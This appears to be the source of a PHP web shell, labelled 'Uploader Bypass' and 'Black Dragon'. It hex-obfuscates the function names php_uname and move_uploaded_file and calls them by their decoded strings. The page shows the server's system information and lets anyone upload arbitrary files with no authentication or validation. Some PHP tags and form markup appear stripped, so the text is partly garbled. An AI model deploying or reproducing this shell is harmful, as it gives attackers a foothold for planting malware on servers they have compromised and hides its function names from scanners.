/**
* Uploader Bypass
**/

$main = [
"55706C6F61646572",
"426C61636B20447261676F6E",
"7068705F756E616D65",
"6D6F76655F75706C6F616465645F66696C65"
];

for ($i = 0; $i < count($main); $i++) {
$bd[$i] = uh($main[$i]);
}

function uh($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2){
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}



<meta charset="utf-8">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lobster">
<?= $bd[0] ?> <title>= $bd[0] </title>
<style>
h1{
font-family: Lobster;
}
</style>


<div class="container">






<table width="100%">


= $bd[1]


= $bd[2]()



<div class="d-flex justify-content-center align-items-center">

<div class="row">
<div class="col-md-9 mb-3">

</div>
<div class="col-md-3">
<button type="submit" class="btn btn-primary btn-sm">Submit</button>
</div>
</div>

</div>

if (isset($_FILES['uploadfile'])) {
$total = count($_FILES['uploadfile']['name']);
for ($i = 0; $i < $total; $i++) {
$mainupload = $bd[3]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
}
if ($total < 2) {
if ($mainupload) {
echo("
<div class='col-md-3'><div class='alert alert-success' role='alert'>Upload File Successfully!</div></div>
");
} else {
echo("
<div class='col-md-3'><div class='alert alert-danger' role='alert'>Upload File Failed</div></div>
");
}
}
else{
if ($mainupload) {
echo("
<div class='col-md-3'><div class='alert alert-success' role='alert'>Upload $i Files Successfully!</div></div>
");
} else {
echo("
<div class='col-md-3'><div class='alert alert-danger' role='alert'>Upload File Failed</div></div>
");
}
}
}



</div>